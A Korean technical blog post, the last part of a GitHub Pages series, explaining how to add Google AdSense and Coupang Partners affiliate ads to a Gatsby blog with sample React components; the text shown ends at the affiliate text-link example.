&lt;p&gt;GitHub Pages 블로그도 광고를 달아 수익을 만들 수 있고, 댓글 시스템을 붙여 독자와 소통할 수 있습니다. 결론부터 말씀드리면 — 정적 사이트라서 불가능할 것 같지만, 방법은 충분히 있습니다.&lt;/p&gt;
&lt;p&gt;이번 포스팅에서는 Google AdSense와 쿠팡 파트너스로 수익화하는 방법, 그리고 Utterances로 GitHub 기반 댓글 시스템을 구축하는 방법을 다룹니다. &quot;GitHub 블로그 A to Z&quot; 시리즈의 마지막 편입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;블로그 수익화 옵션 비교&lt;/h2&gt;
&lt;p&gt;GitHub Pages 블로그에 적용할 수 있는 수익화 방법은 크게 세 가지입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;난이도&lt;/th&gt;
&lt;th&gt;승인 필요&lt;/th&gt;
&lt;th&gt;수익 구조&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Google AdSense&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;td&gt;승인 심사 있음&lt;/td&gt;
&lt;td&gt;CPC (클릭당 과금)&lt;/td&gt;
&lt;td&gt;가장 보편적, 심사 통과가 관건&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;쿠팡 파트너스&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;td&gt;가입 즉시 가능&lt;/td&gt;
&lt;td&gt;CPS (구매당 수수료)&lt;/td&gt;
&lt;td&gt;한국 사용자 대상으로 효과적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;제휴 마케팅&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;td&gt;업체별 다름&lt;/td&gt;
&lt;td&gt;건당 수수료&lt;/td&gt;
&lt;td&gt;특정 상품/서비스 추천&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;초보 블로거라면 &lt;strong&gt;쿠팡 파트너스를 먼저 시작&lt;/strong&gt;하고, 블로그가 어느 정도 성장한 뒤 &lt;strong&gt;AdSense 승인을 신청&lt;/strong&gt;하는 것을 추천합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Google AdSense 신청 및 설정&lt;/h2&gt;
&lt;h3&gt;AdSense 승인 조건&lt;/h3&gt;
&lt;p&gt;구글이 공식적으로 밝히지는 않지만, 경험적으로 알려진 조건들이 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;양질의 포스팅이 15개 이상&lt;/li&gt;
&lt;li&gt;각 포스팅이 1,000자 이상의 충실한 내용&lt;/li&gt;
&lt;li&gt;개인정보처리방침(Privacy Policy) 페이지 존재&lt;/li&gt;
&lt;li&gt;커스텀 도메인 사용 (github.io 도메인으로는 승인이 어려울 수 있음)&lt;/li&gt;
&lt;li&gt;저작권 문제가 없는 콘텐츠&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;AdSense 신청 절차&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.google.com/adsense&quot;&gt;Google AdSense&lt;/a&gt;에 접속하여 가입합니다&lt;/li&gt;
&lt;li&gt;블로그 URL(&lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr&lt;/code&gt;)을 등록합니다&lt;/li&gt;
&lt;li&gt;AdSense에서 제공하는 인증 코드를 블로그의 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;head&gt;&lt;/code&gt;에 추가합니다&lt;/li&gt;
&lt;li&gt;심사 결과를 기다립니다 (보통 1~2주)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Gatsby에 AdSense 코드 삽입하기&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby-ssr.js&lt;/code&gt; 파일을 사용해 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;head&gt;&lt;/code&gt;에 스크립트를 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-ssr.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;onRenderBody&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; setHeadComponents &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;setHeadComponents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;script
      key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;adsense&quot;&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt;
      src&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-XXXXXXXXXXXXXXXX&quot;&lt;/span&gt;
      crossOrigin&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;anonymous&quot;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;ca-pub-XXXXXXXXXXXXXXXX&lt;/code&gt; 부분은 AdSense에서 제공하는 본인의 퍼블리셔 ID로 교체합니다.&lt;/p&gt;
&lt;h3&gt;포스팅 내에 광고 배치하기&lt;/h3&gt;
&lt;p&gt;승인이 완료되면, 광고 컴포넌트를 만들어 원하는 위치에 삽입할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/AdSense.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; useEffect &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; AdSense &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; slot&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; format &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;auto&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; responsive &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;useEffect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;adsbygoogle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;adsbygoogle &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;AdSense error:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;textAlign&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;center&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;margin&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;20px 0&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;ins&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;className&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;adsbygoogle&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;block&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;data-ad-client&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;ca-pub-XXXXXXXXXXXXXXXX&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;data-ad-slot&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;slot&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;data-ad-format&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;format&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;data-full-width-responsive&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;responsive&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; AdSense&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;포스팅 템플릿에서 사용할 때는 다음과 같이 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 포스팅 본문 아래에 삽입&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;AdSense&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;slot&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;1234567890&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;쿠팡 파트너스 가입 및 광고 삽입&lt;/h2&gt;
&lt;p&gt;쿠팡 파트너스는 가입 후 바로 사용할 수 있어서 블로그 초기부터 적용하기 좋습니다. 방문자가 링크를 통해 24시간 내에 구매하면 수수료(보통 3~5%)를 받을 수 있습니다.&lt;/p&gt;
&lt;h3&gt;가입 절차&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://partners.coupang.com/&quot;&gt;쿠팡 파트너스&lt;/a&gt;에 접속하여 가입합니다&lt;/li&gt;
&lt;li&gt;미디어(블로그) 정보를 등록합니다&lt;/li&gt;
&lt;li&gt;승인 후 광고 소재를 생성할 수 있습니다&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;다이나믹 배너 삽입 (iframe 방식)&lt;/h3&gt;
&lt;p&gt;쿠팡 파트너스에서 제공하는 다이나믹 배너를 Gatsby 컴포넌트로 만들어봅시다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/CoupangAd.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; CoupangAd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; src&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; width &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;100%&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; height &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;100&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;margin&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;20px 0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;textAlign&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;center&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;iframe&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;src&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;width&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;height&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;frameBorder&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;0&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;scrolling&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;no&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;referrerPolicy&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;unsafe-url&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;쿠팡 파트너스&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token attr-name&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;maxWidth&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;100%&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;p&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;fontSize&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;11px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#888&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;marginTop&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;4px&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
        이 포스팅은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를
        제공받습니다.
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; CoupangAd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;쿠팡 파트너스 사이트에서 생성한 다이나믹 배너의 &lt;code class=&quot;language-text&quot;&gt;src&lt;/code&gt; 값을 복사해서 사용합니다.&lt;/p&gt;
&lt;h3&gt;텍스트 링크 방식&lt;/h3&gt;
&lt;p&gt;배너 대신 본문에 자연스럽게 상품 링크를 넣는 방법도 있습니다. 리뷰 글이나 추천 글에 적합합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;개발에 사용 중인 키보드가 궁금하시다면, &lt;span class=&quot;token url&quot;&gt;[&lt;span class=&quot;token content&quot;&gt;제가 사용하는 키보드&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;쿠팡_파트너스_링크&lt;/span&gt;)&lt;/span&gt;를 참고해보세요.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
